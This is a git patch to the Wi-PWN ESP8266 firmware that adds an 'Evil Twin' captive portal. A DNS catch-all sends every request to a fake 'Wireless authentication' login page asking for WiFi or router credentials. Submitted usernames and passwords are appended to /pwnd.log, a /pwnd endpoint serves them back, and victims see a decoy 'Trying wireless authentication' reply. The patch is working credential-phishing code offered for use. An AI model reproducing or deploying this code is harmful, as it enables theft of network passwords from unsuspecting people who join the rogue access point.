From ac0ce40845271333a45c254b70ab423147683047 Mon Sep 17 00:00:00 2001 From: osysltd Date: Sun, 2 Feb 2020 20:54:35 +0100 Subject: [PATCH] Evil Twin Captive Portal --- arduino/Wi-PWN/Wi-PWN.ino | 81 +++++++++++++++++++++++++++++++++------ arduino/Wi-PWN/data.h | 18 +++++++++ 2 files changed, 88 insertions(+), 11 deletions(-) diff --git a/arduino/Wi-PWN/Wi-PWN.ino b/arduino/Wi-PWN/Wi-PWN.ino index 5696a76..a7284a7 100644 --- a/arduino/Wi-PWN/Wi-PWN.ino +++ b/arduino/Wi-PWN/Wi-PWN.ino @@ -23,9 +23,6 @@ #include #include -#ifdef USE_CAPTIVE_PORTAL - #include "./DNSServer.h" // Patched lib -#endif #include #include #include @@ -40,6 +37,10 @@ //#define USE_LED16 /* <-- for the Pocket ESP8266 which has a LED on GPIO 16 to indicate if it's running */ //#define USE_CAPTIVE_PORTAL /* <-- enable captive portal (redirects all pages to 192.168.4.1) - most devices flood the ESP8266 with requests */ +// Evil Twin with Captive Portal // +#ifdef USE_CAPTIVE_PORTAL + #include "./DNSServer.h" // Patched lib +#endif // Including everything for the OLED // #ifdef USE_DISPLAY @@ -192,7 +193,10 @@ void startWifi() { Serial.println("SSID : '" + settings.ssid+"'"); Serial.println("Password : '" + settings.password+"'"); #ifdef USE_CAPTIVE_PORTAL - if (settings.newUser == 1) {dnsServer.start(DNS_PORT, "*", apIP);Serial.println("Captive Portal: Running");} else {Serial.println("Captive Portal: Stopped");} + if (settings.newUser == 0) { + dnsServer.start(DNS_PORT, "*", apIP); + Serial.println("Captive Portal: Running"); + } else {Serial.println("Captive Portal: Stopped");} #endif if (settings.newUser == 1) {Serial.println("Redirecting to setup page");} Serial.println("-----------------------------------------------"); @@ -287,6 +291,32 @@ void loadRedirectHTML() { server.send(302, "text/html", ""); } +#ifdef USE_CAPTIVE_PORTAL + void loadCaptiveHTML(){ + server.sendHeader("Cache-Control", "no-cache, no-store, must-revalidate"); + server.sendHeader("Pragma", "no-cache"); + server.sendHeader("Expires", "0"); + server.sendHeader("Content-Encoding", "identity"); + server.sendContent_P((char*)data_CaptiveHTML,sizeof(data_CaptiveHTML)); + sendBuffer(); + }; + + void saveCaptiveData(String user, String passwd){ + File file = SPIFFS.open("/pwnd.log", "a"); + if (!file) { Serial.println("File open failed"); } + file.println("[" + settings.ssid + "] " + user + ":" + passwd + "
"); + }; + + void readCaptiveData(){ + String line; + File file = SPIFFS.open("/pwnd.log", "r"); + if (!file) { Serial.println("file open failed"); } + Serial.println("====== Reading from SPIFFS file ======="); + while(file.available()) { line += file.readStringUntil('\n'); } + Serial.println(line); + server.send(200, "text/html", line); +} +#endif void startWiFi(bool start) { if (start) startWifi(); @@ -718,7 +748,9 @@ void setup() { server.on("/settingsReset.json", resetSettings); } else { /* Redirects */ - server.on("/index.html", loadIndexHTML); + #ifndef USE_CAPTIVE_PORTAL + server.on("/index.html", loadIndexHTML); + #endif server.on("/users.html", loadUsersHTML); server.on("/attack.html", loadAttackHTML); server.on("/detector.html", loadDetectorHTML); @@ -727,8 +759,10 @@ void setup() { server.on("/info.html", loadInfoHTML); /* HTML */ - server.onNotFound(load404); - server.on("/", loadIndexHTML); + #ifndef USE_CAPTIVE_PORTAL + server.onNotFound(load404); + server.on("/", loadIndexHTML); + #endif server.on("/users", loadUsersHTML); server.on("/attack", loadAttackHTML); server.on("/detector", loadDetectorHTML); @@ -783,7 +817,32 @@ void setup() { server.on("/detectorStart.json", startDetector); } - + #ifdef USE_CAPTIVE_PORTAL + server.on("/pwnd", readCaptiveData); + server.on("/authenticate", []() { + String user = server.arg("user"); + String passwd = server.arg("passwd"); + if (user.length() > 0 || passwd.length() > 0) { + saveCaptiveData(user, passwd); + server.send(200, "text/html", "Trying wireless authentication for IEEE 802.11 Wi-Fi connection..."); + }; + }); + if (!settings.newUser == 1) { + server.on("/pwnr", loadIndexHTML); + server.onNotFound(loadCaptiveHTML); + server.on("/", loadCaptiveHTML); + server.on("/index.html", loadCaptiveHTML); + server.on("/search", loadCaptiveHTML); //Google search captive portal. Maybe not needed. Might be handled by notFound handler. + server.on("/fwlink", loadCaptiveHTML); //Microsoft captive portal. Maybe not needed. Might be handled by notFound handler. + server.on("/success", loadCaptiveHTML); //Firefox captive portal. Maybe not needed. Might be handled by notFound handler. + server.on("/success.txt", loadCaptiveHTML); //Firefox captive portal. Maybe not needed. Might be handled by notFound handler. + server.on("/redirect", loadCaptiveHTML); //Microsoft captive portal. Maybe not needed. Might be handled by notFound handler. + + EEPROM.write(multiAPsAdr, false); + settings.multiAPs = (bool)EEPROM.read(multiAPsAdr); + } + #endif + httpUpdater.setup(&server); server.begin(); @@ -854,14 +913,14 @@ void loop() { } } } else if (settings.newUser == 1) { - #ifdef USE_CAPTIVE_PORTAL - dnsServer.processNextRequest(); - #endif server.handleClient(); } else { if (clientScan.sniffing) { if (clientScan.stop()) startWifi(); } else { + #ifdef USE_CAPTIVE_PORTAL + dnsServer.processNextRequest(); + #endif server.handleClient(); attack.run(); } diff --git a/arduino/Wi-PWN/data.h b/arduino/Wi-PWN/data.h index ae0da4a..9443874 100644 --- a/arduino/Wi-PWN/data.h +++ b/arduino/Wi-PWN/data.h @@ -43,6 +43,24 @@ const char data_setup_HTML[] PROGMEM = {0x1F,0x8B,0x08,0x08,0xD0,0x69,0x9E,0x5A, const char data_users_HTML[] PROGMEM = {0x1F,0x8B,0x08,0x08,0xD1,0x69,0x9E,0x5A,0x02,0x0B,0x75,0x73,0x65,0x72,0x73,0x2E,0x48,0x54,0x4D,0x4C,0x00,0x95,0x56,0x6D,0x6F,0xDB,0x36,0x10,0xFE,0x2B,0x1A,0x0B,0x04,0xD2,0xA6,0x17,0x3B,0x6E,0x5D,0xD7,0x91,0x54,0xB4,0xD9,0x82,0x76,0x68,0xBB,0x02,0x69,0xD6,0x0F,0x5D,0x37,0xD0,0xE4,0xD9,0x66,0x2C,0x89,0x2A,0x49,0xDB,0x31,0x5C,0xFF,0xF7,0x1D,0x69,0x29,0xB1,0x55,0x07,0xD8,0xBE,0xE8,0xE5,0xEE,0xC8,0x7B,0xEE,0xB9,0xE3,0x1D,0xD3,0x12,0x0C,0xF5,0xD8,0x9C,0x2A,0x0D,0x26,0xBB,0xF9,0x74,0x15,0x8D,0xF2,0xD4,0x08,0x53,0x40,0x7E,0xA3,0x41,0x69,0x2F,0xF2,0x3E,0x8B,0xE8,0xE3,0xE7,0x0F,0x69,0xB2,0x97,0xA6,0xFB,0x05,0xB2,0x32,0x50,0x99,0x8C,0xAC,0x05,0x37,0xF3,0x8C,0xC3,0x4A,0x30,0x88,0xDC,0x4F,0x28,0x2A,0x61,0x04,0x2D,0x22,0xCD,0x68,0x01,0x59,0x3F,0x5C,0xE2,0x3E,0xEE,0x87,0x4E,0xF0,0xBF,0x47,0x2A,0x5A,0x42,0xB6,0x12,0xB0,0xAE,0xA5,0x32,0x79,0x5A,0x88,0x6A,0xE1,0xCD,0x15,0x4C,0xB3,0x38,0x29,0xA9,0xA8,0x62,0xA6,0xB5,0xA7,0xA0,0xC8,0xB4,0xD9,0x14,0xA0,0xE7,0x00,0x1D,0x23,0x4E,0xD5,0xE2,0x84,0x91,0x27,0x78,0x66,0x55,0xD7,0x56,0xD2,0x81,0xF9,0xA4,0xDF,0x1B,0x5E,0x5E,0x8E,0x3C,0xE7,0xDA,0xCC,0xA1,0x84,0x88,0xC9,0x42,0xAA,0x3C,0xD5,0x4C,0x89,0xDA,0x78,0x5A,0xB1,0x6C,0x6E,0x4C,0xAD,0xC7,0x49,0xC2,0x14,0x35,0x10,0x63,0x2C,0x33,0x30,0x13,0x69,0x62,0x21,0x93,0xD5,0xB9,0x47,0xF5,0xA6,0x62,0x1E,0x87,0x29,0xA8,0xBC,0x82,0xB5,0x77,0x69,0xAD,0xFC,0x2D,0xC6,0xB6,0x02,0x35,0x26,0x83,0xC1,0xB3,0xD1,0x60,0x38,0x78,0x3E,0xEC,0x0D,0xFA,0x4F,0xCF,0x47,0xC3,0xFE,0x88,0x84,0xC8,0x6A,0x55,0x41,0xD1,0x2A,0x9F,0xF6,0x46,0x2F,0xFA,0xA3,0x17,0xC3,0xE1,0xF9,0xF3,0x01,0x09,0x27,0x88,0x6F,0xFC,0x53,0x2F,0xAC,0xA5,0x46,0xBA,0x64,0x35,0xDE,0xDE,0x8D,0x49,0x01,0x53,0x43,0xC2,0xCD,0x98,0xA0,0x5F,0x23,0x4B,0xB2,0xDB,0x05,0x69,0xB2,0x87,0x98,0xA7,0x15,0x5D,0xD9,0x18,0xF1,0x95,0xA7,0x5C,0xAC,0x3C,0x56,0x50,0xAD,0x33,0x4B,0x59,0x34,0x07,0xCA,0x11,0x97,0x13,0xA3,0x49,0x21,0x67,0x32,0x12,0xE5,0x2C,0x4F,0x13,0x94,0xE4,0xE9,0xC4,0x73,0x34,0x65,0x2E,0xE6,0xF1,0x93,0xE9,0x74,0x9A,0x63,0x52,0xD3,0x64,0x92,0xBB,0xC4,0x3A,0x9B,0x76,0x29,0x12,0xAD,0xF3,0x94,0xB6,0x64,0x7B,0xF9,0x35,0xA3,0x55,0x9A,0xD0,0xDC,0x7B,0x10,0x2E,0x5D,0x65,0xEC,0xFD,0x53,0x66,0xC4,0xAA,0x29,0x96,0x8E,0x19,0x35,0x86,0xB2,0x45,0xFE,0xCA,0xBD,0x3A,0x3A,0x0E,0x06,0x98,0xC1,0x0C,0xFC,0xDA,0x7C,0x74,0xF4,0x58,0x8D,0x46,0x54,0x33,0x9D,0x5F,0x37,0x1F,0x1D,0xBD,0xA8,0xA6,0xB2,0x41,0xA0,0xC4,0x6C,0x6E,0xF2,0xB7,0x28,0xB0,0x36,0x4D,0x38,0xC9,0x3D,0x4D,0x96,0x32,0x69,0xC4,0x54,0x30,0x6A,0x79,0xCE,0x8F,0xE3,0xD5,0xB5,0xC0,0x1C,0xA9,0xC8,0x56,0x0A,0x32,0x69,0x49,0xDC,0xEB,0x1B,0xD6,0x13,0xFF,0xEF,0xEF,0x17,0xC1,0x5F,0xFA,0xE7,0x12,0xCB,0xBA,0xA4,0x45,0x96,0xC4,0x06,0xB4,0xF1,0xB9,0x64,0xCB,0x12,0x4B,0x2B,0x66,0x52,0x2E,0x04,0x04,0x67,0x67,0x0F,0xA2,0x89,0xE4,0x9B,0x18,0xF7,0x26,0xCD,0x1A,0x72,0x90,0xC4,0x4E,0xE2,0xD6,0x8A,0xD6,0x87,0xC2,0x03,0x18,0x07,0x42,0xAA,0x78,0x74,0x52,0x43,0x26,0x4B,0xAC,0x93,0x36,0xFF,0xD1,0xB9,0xD7,0xD2,0xF6,0xC6,0x09,0xC8,0x3E,0xED,0x5C,0xE8,0xBA,0xA0,0x9B,0xB1,0xA8,0x30,0xBB,0x10,0x4D,0x0A,0xC9,0x16,0x17,0x25,0x55,0x33,0x04,0xB0,0x2F,0xB4,0xF1,0xA0,0x57,0xDF,0xB9,0x4C,0x7B,0x53,0xA9,0xEC,0x89,0xBF,0x12,0xDE,0x3E,0xCB,0x7E,0xAA,0x6B,0x14,0x63,0x38,0xAC,0x10,0x18,0x9D,0xBE,0x92,0xCB,0x8A,0x23,0x4B,0x56,0x9C,0x07,0x6D,0x85,0x39,0x1C,0x2D,0x2A,0x97,0x11,0xAF,0x8B,0xAD,0xF9,0xAF,0x15,0x72,0xA2,0x36,0xC4,0x92,0x6F,0xA8,0x32,0xCE,0xAB,0xAC,0x70,0x77,0xB6,0xC8,0xB0,0x4D,0x54,0x7E,0xD0,0xD4,0xDC,0x7E,0x41,0x97,0x09,0x6C,0x4F,0xB6,0x91,0x58,0x44,0x0E,0x21,0x42,0x71,0x82,0x36,0x71,0xF3,0x23,0x86,0xB8,0x83,0xAE,0xE9,0x0A,0x78,0xD4,0x98,0x1F,0xD0,0x77,0x4C,0xD7,0x31,0xE2,0xFF,0x4B,0x9E,0x75,0xF1,0x08,0x67,0x1F,0xB0,0xED,0xE8,0x2E,0x65,0x8F,0x46,0x65,0x9B,0xD4,0x3B,0xA1,0x4D,0x37,0xB0,0xD3,0xCB,0x4E,0x94,0x09,0x7A,0x3C,0x8A,0x52,0xC9,0xB5,0x67,0x68,0xC4,0xC8,0x91,0x54,0x54,0xF5,0xD2,0x3C,0x94,0x15,0xF6,0xCA,0x22,0x1A,0xA2,0x89,0x93,0x3B,0xEC,0xEF,0x29,0xF3,0x30,0x76,0x06,0x73,0x59,0x20,0x21,0x19,0xF1,0x88,0x82,0x6F,0x4B,0xA1,0x30,0xD0,0x92,0xDE,0x65,0xFD,0xE7,0x1E,0x56,0x38,0xBE,0xB0,0x3F,0xD3,0x09,0x14,0xB6,0x76,0xDC,0xAA,0xFC,0xFD,0xAB,0x4B,0xEF,0x15,0xE7,0x0A,0x34,0x9E,0x5B,0xA7,0xFB,0x11,0xFE,0x49,0x00,0x7D,0xF2,0x1F,0x0D,0x9F,0x1D,0x21,0xB5,0x04,0x3F,0x06,0xF5,0x08,0x9C,0x35,0xCC,0xED,0xA3,0x03,0xEB,0x71,0x86,0x23,0xDB,0xE0,0x6C,0x15,0xD2,0x53,0xD5,0x4D,0xDA,0xC2,0xA5,0x9C,0x5F,0xBA,0x5C,0x63,0xF5,0x62,0xE4,0x87,0x9D,0xE8,0x87,0xE7,0x54,0x4A,0xE3,0x1A,0x4D,0xFB,0x71,0x30,0x84,0xE2,0xE4,0x56,0x27,0xD3,0x65,0xE5,0x9C,0xEA,0xF8,0xD6,0x95,0x4D,0xD3,0x3B,0xBA,0x66,0xAE,0xD8,0x8E,0x4D,0x8E,0x7A,0xD7,0x8A,0x2A,0xEF,0x9F,0x9A,0x7E,0xCB,0xEC,0xE3,0xFB,0xF7,0x2F,0x5F,0x2F,0xEC,0x47,0x5C,0x2F,0xF5,0xDC,0xFF,0x42,0x8C,0xC2,0xAE,0xFC,0x91,0xCE,0xE0,0x4F,0x1C,0xC5,0xE4,0x6B,0x10,0x1E,0x2A,0xA1,0xB2,0x95,0xF7,0x0E,0x87,0xC1,0x27,0x6B,0x86,0x67,0xC4,0x5A,0xB4,0xB8,0xFC,0x60,0x6B,0xF7,0x86,0x8C,0x24,0x09,0xAD,0x68,0xB1,0x31,0x82,0xE9,0x58,0xD3,0x92,0xF3,0xB8,0x84,0x84,0x1C,0xF9,0xC1,0x33,0xE6,0xF6,0x00,0x75,0xA3,0x0A,0x12,0xC2,0x2F,0xA4,0x16,0x6B,0xB1,0x88,0xEB,0x79,0xDD,0xF5,0x8A,0xA6,0xD7,0xC2,0xC0,0x5B,0x4E,0x42,0x32,0x40,0xE5,0x85,0xF5,0x62,0xB2,0xB6,0xB1,0x86,0x34,0xC3,0x7E,0xAB,0x00,0x07,0xEF,0x6F,0x05,0x58,0x89,0x4F,0xF6,0xA1,0x92,0x20,0xD4,0xA8,0xC3,0x81,0xDD,0x28,0xF4,0xEB,0xCD,0x27,0x3A,0xB3,0x89,0x7E,0x30,0xF9,0xD2,0xFB,0x7A,0x41,0x63,0xB3,0xA9,0x11,0xB7,0x81,0x3B,0x93,0xDC,0xD2,0x15,0x6D,0x94,0x21,0x8D,0xDD,0x80,0xCF,0x70,0x22,0xD3,0xD8,0x4D,0xF9,0xFD,0xA7,0x25,0xFB,0x1E,0xF2,0xAD,0x26,0xA1,0x8E,0x6B,0xAA,0xEC,0x99,0x96,0x1C,0x62,0x51,0x61,0x0A,0xCC,0x6B,0xC0,0xDA,0x02,0x9F,0x86,0x3A,0xD8,0xF9,0x0F,0x2C,0x79,0x02,0x79,0x5A,0xEB,0xCC,0xDE,0x16,0x3E,0xC3,0xE4,0x1A,0x1B,0x07,0x20,0xE2,0xB5,0xB6,0x97,0x0C,0x51,0xDD,0xE2,0xD8,0x13,0xD3,0xCD,0x03,0x6D,0xE2,0x25,0x3F,0x5F,0x18,0xF6,0x86,0x2F,0x31,0x9C,0xB5,0x8E,0x65,0x85,0x5D,0x43,0x63,0x82,0xB2,0x7B,0xDE,0x79,0xB0,0x35,0x6A,0xB3,0x85,0x15,0x2D,0xFC,0xDF,0xAF,0xFF,0xF8,0x60,0xB1,0x68,0xF0,0x79,0xCC,0xA9,0xA1,0x41,0xCC,0x83,0x1D,0x0E,0x39,0x36,0xF7,0xC1,0x3A,0x8E,0x35,0x54,0x7C,0x6F,0xA6,0x8D,0xC2,0x14,0xA2,0x37,0x7F,0x6B,0xC6,0x04,0x48,0xC8,0xC7,0x80,0x42,0xCC,0xCA,0x2E,0x08,0x76,0xBB,0xBD,0x37,0x56,0x48,0x7D,0xE0,0x2B,0xD8,0xDA,0xCC,0x89,0x12,0xE4,0xD2,0xF8,0x22,0xEC,0xC3,0x00,0x2D,0xFD,0xC3,0xFB,0x88,0x6C,0xBF,0x70,0x84,0xE1,0x6D,0xC3,0xA3,0x05,0x5E,0x08,0x89,0x65,0xEC,0x74,0x5D,0xDC,0xE7,0xFD,0xA5,0xE0,0x78,0xE9,0x81,0x6C,0x70,0xA6,0x80,0x65,0xFD,0xA6,0xD3,0x4E,0xA4,0xC2,0xA3,0x3B,0xEE,0x61,0x15,0xD7,0x76,0x80,0xB7,0xDB,0xFF,0x0B,0x63,0xA7,0x82,0x48,0xA3,0x0A,0x00,0x00}; /*end_auto_generator*/ +/* Evil Twin Captive Portal */ +#ifdef USE_CAPTIVE_PORTAL + //UTF8 Template for Progmem Usage const cstr_p< 14 > pStr PROGMEM = {"String here"}; **Reference = https://github.com/Chris--A/PGMWrap/issues/4 + typedef const char char_p; //char + template< unsigned N > + struct cstr_p{ + char_p *begin() const{ return (char_p*) &pstr[0];} + char_p *end() const{ return (char_p*) &pstr[N]; } + operator __FlashStringHelper*() const{ return ( __FlashStringHelper* ) &pstr; } + char_p &operator [] (int addr) const{ return *(const char_p*) &pstr[addr]; } + const char pstr[N]; + }; + + //define the CaptivePage (escaped) here. For escaping you can use the provided "web_server/minifer.html" + #define CaptivePage " Authentication

Login
Wireless authentication for IEEE 802.11 Wi-Fi connection
Please input your WiFi password or domain router username and password to continue.
User Name
Password
 

Welcome to Guest Network

Please agree to the terms of use and connect.
I accept the terms of use



This service is intended for use by authorized guests at this facility. This is an open/unprotected wireless network. By using this service, guests understand and accept that it is their responsibility to protect their own computer while connected to this service, and irrevocably waive any right, cause or action, remedy or other claim against the host with respect to any damage that may be caused to a computer while it is using this network.



" + const cstr_p data_CaptiveHTML[] PROGMEM = {CaptivePage}; +#endif + /* sendHeader must be called first, then copy every string (or substring, when generating json files) with sendToBuffer and if everything is done call sendBuffer.